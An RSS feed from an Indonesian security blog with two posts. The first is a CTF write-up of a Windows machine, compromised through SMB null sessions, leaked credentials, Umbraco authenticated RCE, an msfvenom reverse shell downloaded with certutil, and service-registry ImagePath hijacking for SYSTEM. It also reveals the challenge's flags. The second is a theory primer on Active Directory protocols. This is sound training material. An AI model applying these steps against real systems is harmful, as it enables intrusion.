<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Windows Arsip - Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/category/windows/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/category/windows/</link>
	<description></description>
	<lastBuildDate>Mon, 03 Feb 2025 06:07:13 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.7.1</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>Windows Arsip - Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/category/windows/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Windows Pentesting Bhitech &#8211; Write Up</title>
		<link>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/</link>
					<comments>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 03 Feb 2025 06:02:09 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=514</guid>

					<description><![CDATA[<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal Terdapat beberapa service yang [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-f5f35207d78f2f9052282fb89e493989"><code>Pentest Day Bhitech Challenge

Host: 143.198.222.180
Machine: Windows
Level: Easy
Flag Format: bhitech{}

Deskripsi: Selamat datang di Pentest Day! Tantangan simpel, tapi seru. Tugasmu adalah mendapatkan dua flag yang tersembunyi di direktori user dan administrator. Gunakan segala cara dan skill yang kamu punya—dari eksploitasi sampai trik-trik cerdik lainnya!

Ingat, tujuan utamanya adalah eksplorasi dan belajar. Jangan merusak system yang ada! Semua yang kamu lakukan harus untuk tujuan edukasi.

Catatan: Jangan lupa fokus untuk eksploitasi dan seru-seruan—gak ada yang lebih keren dari belajar sambil nge-hack!

Good luck, happy hacking, and let’s grab those flags!</code></pre>



<p>Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="660" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png" alt="" class="wp-image-516" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-300x193.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-768x495.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422.png 1212w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terdapat beberapa service yang open diantarannya ada HTTP dan SMB yang bisa kita jadikan untuk foothold atau pijakan awal sebelum melakukan exploitation, dan jika dibuka pada service HTTP terlihat terdapat default halaman setelah installation <em><strong>Umbraco CMS</strong></em> dan juga terdapat form login untuk authentikasi</p>



<figure class="wp-block-image size-large is-style-default"><img decoding="async" width="1024" height="549" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png" alt="" class="wp-image-522" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-300x161.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-768x411.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1536x823.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632.png 1557w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita tidak mempunyai valid credential untuk login, selanjutnya kita coba cek service berikutnya yaitu SMB server</p>



<figure class="wp-block-image size-full"><img decoding="async" width="837" height="251" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png" alt="" class="wp-image-524" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png 837w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-768x230.png 768w" sizes="(max-width: 837px) 100vw, 837px" /></figure>



<p>Ternyata terdapat vulnerability <em><strong>SMB null session</strong></em> artinya SMB tersebut mengizinkan authentikasi tanpa credential jadi kita bisa akses sharename tanpa memasukkan username/password, dan jika diperhatikan ada sharename yang tidak biasa yaitu <em><strong>DataManager</strong></em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1021" height="288" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png" alt="" class="wp-image-525" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png 1021w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-300x85.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-768x217.png 768w" sizes="auto, (max-width: 1021px) 100vw, 1021px" /></figure>



<p>Setelah diakses ditemukannya file XLS dengan nama <em><strong>member_account.xlsx</strong></em>, kemudian kita akan buka pada document viewer</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="689" height="216" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png" alt="" class="wp-image-526" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png 689w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131-300x94.png 300w" sizes="auto, (max-width: 689px) 100vw, 689px" /></figure>



<p>Dokumen XLS tersebut berisikan informasi sensitive dari member Bhineka Tech yang juga menampilkan user, passsword beserta keahlian yang dimiliki beberapa member tetapi uniknya user dengan ID 3 berbeda dari yang lain yakni user tersebut menggunakan email dan jika kita lihat lagi pada login Umbraco diatas terdapat placeholder pada input username yaitu <em><strong>&#8220;Your username is usually your email&#8221;</strong></em> yang mengindikasikan jika username berupa email address, langsung saja kita coba login</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="526" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png" alt="" class="wp-image-527" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-300x154.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-768x394.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1536x788.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259.png 1855w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Berhasil masuk dashboard Administrator, dan langkah selanjutnya kita cek version dari CMS umbraco yang digunakan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="687" height="459" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png" alt="" class="wp-image-528" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png 687w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-300x200.png 300w" sizes="auto, (max-width: 687px) 100vw, 687px" /></figure>



<p>Versi yang digunakan yaitu <em><strong>7.12.4</strong></em> dan jika kita melihat pada exploit database menggunakan searchsploit</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="141" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png" alt="" class="wp-image-529" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-300x41.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-768x106.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1536x211.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1.png 1868w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Ada vulnerability pada Umbraco versi <em><strong>7.12.4</strong></em> yaitu Remote Code Execution / RCE dengan kategori Authenticated yang berarti harus mempunyai privilege minimal untuk masuk dashboard, karena sudah didapatkan sebelumnya sekarang kita mulai untuk tahapan exploitation</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="476" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png" alt="" class="wp-image-530" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-768x357.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247.png 1114w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat berhasil melakukan code execution artinya exploit berhasil dan jika di inputkan beberapa command batch script dasar akan menampilkan output yang sesuai. </p>



<p>Karena tidak mungkin untuk melakukan command satu persatu dan bolak balik exploit jadi disini kita akan generate binary executable untuk reverse shell menggunakan msfvenom</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="149" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png" alt="" class="wp-image-532" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-300x44.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-768x112.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2.png 1133w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Karena casenya disini public server jadi kita melakukan generate binary reverse shell dengan listener yang di set ke IP VPS atau jika tidak mempunyai VPS bisa juga melakukan tunneling atau port forwarding menggunakan ngrok dan semacamnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="236" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png" alt="" class="wp-image-535" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-768x177.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1536x353.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3.png 1873w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>sebelumnya aku sudah aktifkan python http server di port 8000 pada VPS  jadi disini kita tinggal download binary di server target menggunakan <em><strong>certutil </strong></em>yang akan disimpan didalam temporary directory dalam case windows ada di <em><strong>C:/windows/temp</strong></em>, kemudian kita execute binary jadi tinggal dipanggil full pathnya otomatis akan ter-eksekusi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="758" height="287" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png" alt="" class="wp-image-536" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png 758w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423-300x114.png 300w" sizes="auto, (max-width: 758px) 100vw, 758px" /></figure>



<p>Reverse shell berhasil dengan listener di port 9999, selanjutnya kita baca user flag pada directory users dan dalam hal ini ternyata user yang ada diserver menggunakan username rama</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="723" height="354" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png" alt="Gambar ini memiliki atribut alt yang kosong; nama berkasnya adalah image-4.png" class="wp-image-539" style="width:798px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png 723w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-300x147.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-720x354.png 720w" sizes="auto, (max-width: 723px) 100vw, 723px" /></figure>



<p>User flag : <strong><em>&#8220;bhitech{KuL0_T14nG_J4W1}&#8221;</em></strong></p>



<p class="has-large-font-size"><em><strong>Privilege Escalation</strong></em></p>



<p>Selanjutnya kita diminta untuk membaca flag pada Administrator directory yang tentu saja akan access denied karena privilege user yang kita dapatkan merupakan Service Account yang tidak memiliki akses pada directory Administrator, jadi disini kita akan melakukan privilege escalation atau meningkatkan hak akses.</p>



<p>Sebenarnya ada banyak cara yang digunakan untuk enumeration pada tahapan post-exploitation pada windows sendiri, tapi disini kita akan automation saja menggunakan winpeas</p>



<p><a href="https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md">https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md</a></p>



<p>Jadi winpeas sendiri berfungsi untuk identifikasi service, component, kernel, scheduled task, registry dan lain lain jika terdapat suatu vulnerability ataupun misconfiguration yang bisa dimanfaatkan untuk melakukan Privilege Escalation</p>



<p>Download winpeas entah dengan menggunakan utility apapun bisa cURL ataupun certutil lalu jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="181" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png" alt="" class="wp-image-541" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-300x53.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-768x136.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1536x272.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7.png 1690w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini ditemukan suatu service dengan nama BhitechService yang dimana Authenticated Users atau user dalam machine tersebut dapat melakukan full control pada registry yang dimana ini sangat berbahaya karena attacker bisa mengganti binary executable pada registry service tersebut dengan malicious atau executable berbahaya</p>



<p>Seknarionya disini kita akan melakukan generate ulang binary reverse shell menggunakan msfvenom dengan listener port 9000, lalu kita ubah <em><strong>ImagePath</strong></em> dari registry BhitechService dengan binary reverse shell yang kita buat jadi saat service di restart otomatis akan dieksekusi sebagai NT/System</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="460" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png" alt="" class="wp-image-542" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-300x135.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-768x345.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1536x690.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8.png 1602w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Oke jadi disini menggunakan <em><strong>reg add</strong></em> yaitu command registry bawaan windows untuk replace binary ImagePath registry ke binary reverse shell yang kita buat, disini berhasil karena dari hasil enumeration dari winpeas Authenticated Users mempunyai full control pada registry BhitechService</p>



<p>Sekarang kita coba restart service menggunakan command <strong><em>net start BhitechService</em></strong> dan jangan lupa aktifkan netcat pada port 9000 yang kita buat tadi untuk dijadikan sebagai listener</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="611" height="183" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png" alt="" class="wp-image-543" style="width:815px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png 611w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841-300x90.png 300w" sizes="auto, (max-width: 611px) 100vw, 611px" /></figure>



<p>Untuk message dari output net start bisa dihiraukan yang terpenting kita berhasil mendapatkan shell sebagai <em><strong>NT/System</strong></em> atau privilege tertinggi pada windows machine</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="879" height="192" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png" alt="" class="wp-image-544" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png 879w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-300x66.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-768x168.png 768w" sizes="auto, (max-width: 879px) 100vw, 879px" /></figure>



<p>Sekarang kita baca flagnya pada directory Administrator</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="966" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png" alt="" class="wp-image-545" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png 966w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-300x212.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-768x544.png 768w" sizes="auto, (max-width: 966px) 100vw, 966px" /></figure>



<p>Root flag : <em><strong>bhitech{G0tt_Acc3ss_adm1n_m4TuR_NuWun_s4ng3t}</strong></em></p>



<p>Challenge solved rek, dan untuk tambahan sebenarnya masih ada teknik privilege escalation lain yang bisa digunakan karena casenya disini kita mendapatkan akses ke service account dan mempunyai 2 privilege penting yaitu <em><strong>SeAssignPrimaryTokenPrivilege</strong></em> dan <em><strong>SeImpersonatePrivilege</strong></em> yang bisa dimanfaatkan untuk melakukan <em><strong>token impersonation</strong></em> dan mendapatkan akses ke NT/System karena terlalu panjang mungkin akan dibahas lain kali jadi itu saja semoga bermanfaat.</p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Kenalan dengan Active Directory</title>
		<link>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/</link>
					<comments>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Thu, 09 Jan 2025 08:09:03 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=494</guid>

					<description><![CDATA[<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory. Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory.</p>



<p>Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada yang udah tau atau ada yang masih asing mendengar istilah Active Directory jadi daripada bingung ayo kita bahas</p>



<p>Active Directory ini bisa dikatakan suatu service berbasis direktori yang digunakan untuk mengelola resource dan infrastruktur dengan cara yang terstruktur. Maka dari itu Active Directory ini banyak di implementasikan pada perusahaan ataupun organisasi yang memiliki banyak komputer dan sumber daya karena menggunakan Active Directory ini memudahkan Administrator melakukan management maupun konfigurasi dengan cara terpusat/centralized.</p>



<p>Dalam Active Directory semua resource/sumber daya direpresentasikan menjadi suatu object dan object ini mencakup server, printer, komputer, domain, group dan user account. semua object ini akan dikelola oleh ADDS(Active Directory Domain Service) yang merupakan inti dari Active Directory itu sendiri. <em><strong>ADDS </strong></em>ini merupakan server yang mengatur semua konfigurasi dan rule/aturan resource pada jaringan didalam <em><strong>AD</strong></em> seperti keamanan, policy, permission dsb.</p>



<p>Lalu ada yang namanya <strong><em>Domain Controller</em></strong> yaitu merupakan server fisik atau computer yang menjalankan  service Active Directory, dengan kata lain <em><strong>Domain Controller</strong></em> ini bisa berupa hardware(server fisik) maupun virtual machine.</p>



<p>Dan tidak kalah pentingnya, pada active directory terdapat 2 konsep untuk identifikasi <em><strong>yaitu </strong></em>SPN dan <em><strong>UPN</strong></em>, gampangnya UPN itu merupakan identitas unik pada user dalam active directory yang berguna untuk mengenali dan identifikasi user contohnya &lt;username>@&lt;domain> atau xpl0dec@bhitech.corp sementara itu SPN digunakan untuk mengenali service / layanan pada Active Directory yang menggunakan kerberos(akan kita bahas nanti) dengan contoh &lt;service>/&lt;hostname>:&lt;port> atau MSSQL/bhitech:1433 disini kita mencontohkan dengan DB mssql dengan hostname bhitech di port 1433</p>



<p class="has-large-font-size"><strong>Cara Kerja Active Directory</strong></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="691" height="481" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg" alt="" class="wp-image-499" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg 691w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad-300x209.jpg 300w" sizes="auto, (max-width: 691px) 100vw, 691px" /></figure>



<p>Dalam Active Directory untuk mengatur object object di dalamnya terdapat struktrur hierarki dimana struktur hierarki ini mencakup komponen penting diantarannya:</p>



<p><em><strong>Domain</strong></em> : Direpresentasikan sama dengan domain name yang ada pada internet dengan menggunakan .(titik) seperti abc.com, bhitech.corp tetapi pengertian lebih luasnya domain ini digunakan untuk mengelompokkan object pada Active Directory, seperti yang kita bahas sebelumnya object itu mencakup user, group, printer, computer dan sumber daya lain</p>



<p><strong>Organizational units</strong>(OUs) : OUs ini cukup kompleks karena digunakan untuk mengatur dan mengelola object object pada Active Directory, sebagai contoh sederhana pada sebuah perusahaan pastinya memiliki banyak departement dan kita ambil 2 sebagai contoh yaitu marketing dan IT jadi fungsi OUs ini akan membagi hak akses dimana setiap departement akan diberikan OU misalkan OU marketing hanya diberikan akses untuk mengelola ke service yang menyediakan penjualan dan pembelian sementara OU IT diberikan mengelola akses ke server maupun <strong><em>Domain Controller</em></strong></p>



<p><em><strong>Forest</strong></em> :  Forest ini merupakan gabungan dari satu atau lebih domain dan domain bisa saling terhubung dan berbagi resource seperti pada gambar diatas yaitu abc.com bisa sharing directory dengan xyz.com begitupun sebaliknya</p>



<p><strong><em>Tree</em></strong> : Pada gambar diatas tree bisa kita sebut sebagai subdomain yaitu hierarki domain yang menggunakan namespace yang sama seperti abc.com yang memiliki tree asia.abc.com</p>



<p><strong><em>Group Policy Objects (GPOs)</em></strong> : Merupakan suatu aturan pada active directory yang diberikan kepada user sebagai contoh kita bisa memaksa user mengganti password sebulan sekali atau password user harus lebih dari 8 karakter menggunakan <em><strong>GPOs</strong></em></p>



<p><strong><em>Global Catalog</em></strong> : Secara sederhana sebuah database yang menyimpan semua informasi terkait domain pada suatu forest</p>



<p><strong><em>Trust Relationship</em></strong> : Dimana kita ingin menghubungkan atau berbagi resource lintas domain dari forest yang berbeda</p>



<p class="has-large-font-size"><strong><em>Protokol dan Authentication</em></strong></p>



<p>Active Directory menggunakan banyak protocol untuk keperluan fungsionalitas, authentication maupun authorization diantara lain ada LDAP, SMB, RPC, kerberos. Dan disini untuk keperluan pentesting kita akan membahas beberapa protokol yang perlu kalian diketahui</p>



<p><em><strong>LDAP</strong></em>: LDAP(Lightweight Directory Access Protocol) sendiri merupakan suatu protokol yang dipakai untuk mengakses dan mengelola data pada active directory </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="512" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png" alt="" class="wp-image-501" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-300x150.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-768x384.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work.png 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi saat user atau service akan berkomunikasi dengan Active Directory user tersebut perlu melakukan serangkaian query pada LDAP protocol yang didalam LDAP sendiri terdapat banyak informasi mengenai object yang disimpan oleh Active Directory dan dapat kita akses menggunakan LDAP query. LDAP menggunakan TCP connection dan port defaultnya yaitu <strong>389</strong> dan <strong>636</strong>(dengan tambahan SSL/TLS)  </p>



<p><strong><em>SMB</em></strong> : Protocol smb digunakan untuk berbagi data dan file antar server pada jaringan, jadi menggunakan SMB kita bisa sharing directory yang berguna agar server lain dapat mendownload/upload pada server yang menjalankan SMB dan port default SMB ada di 445 </p>



<p><strong>RPC</strong> : RPC atau Remote Procedure Call yang berfungsi untuk komunikasi antar object di jaringan yang pada Active Directory RPC berguna untuk meminta suatu layanan ke layanan pada server lain dalam domain. Secara konsep hampir mirip dengan REST API tapi dengan arsitektur yang berbeda yakni dalam RPC kita bisa melakukan fungsi pada server lain yang seolah olah bersifat local</p>



<p><em><strong>NTLM</strong></em> :  Windows New Technology LAN Manager merupakan suatu protokol yang digunakan untuk authentikasi pada operating system windows, dan sebenarnya NTLM ini protokol lama yang sekarang sudah digantikan oleh kerberos karena dianggap sudah usang dan memiliki masalah security tapi meskipun itu masih banyak digunakan hingga sekarang</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="887" height="608" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png" alt="" class="wp-image-502" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png 887w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-300x206.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-768x526.png 768w" sizes="auto, (max-width: 887px) 100vw, 887px" /></figure>



<p>Cara kerjanya cukup sederhana yang disebut <em><strong>Challenge-Response</strong></em> yaitu pertama client meminta authentikasi ke server dan jika authentikasi valid maka server melakukan response &#8220;challenge&#8221; berupa nonce(angka acak) yang kemudian dikirimkan kembali pada client lalu client me-response dengan hash dari challenge yang diberikan server serta di gabungkan dengan hash password dari client</p>



<p><em><strong>Kerberos</strong></em>: Kerberos sekarang ini sudah menjadi protocol authentikasi default pada Active Directory dan pada mekanismenya sendiri juga lebih kompleks</p>



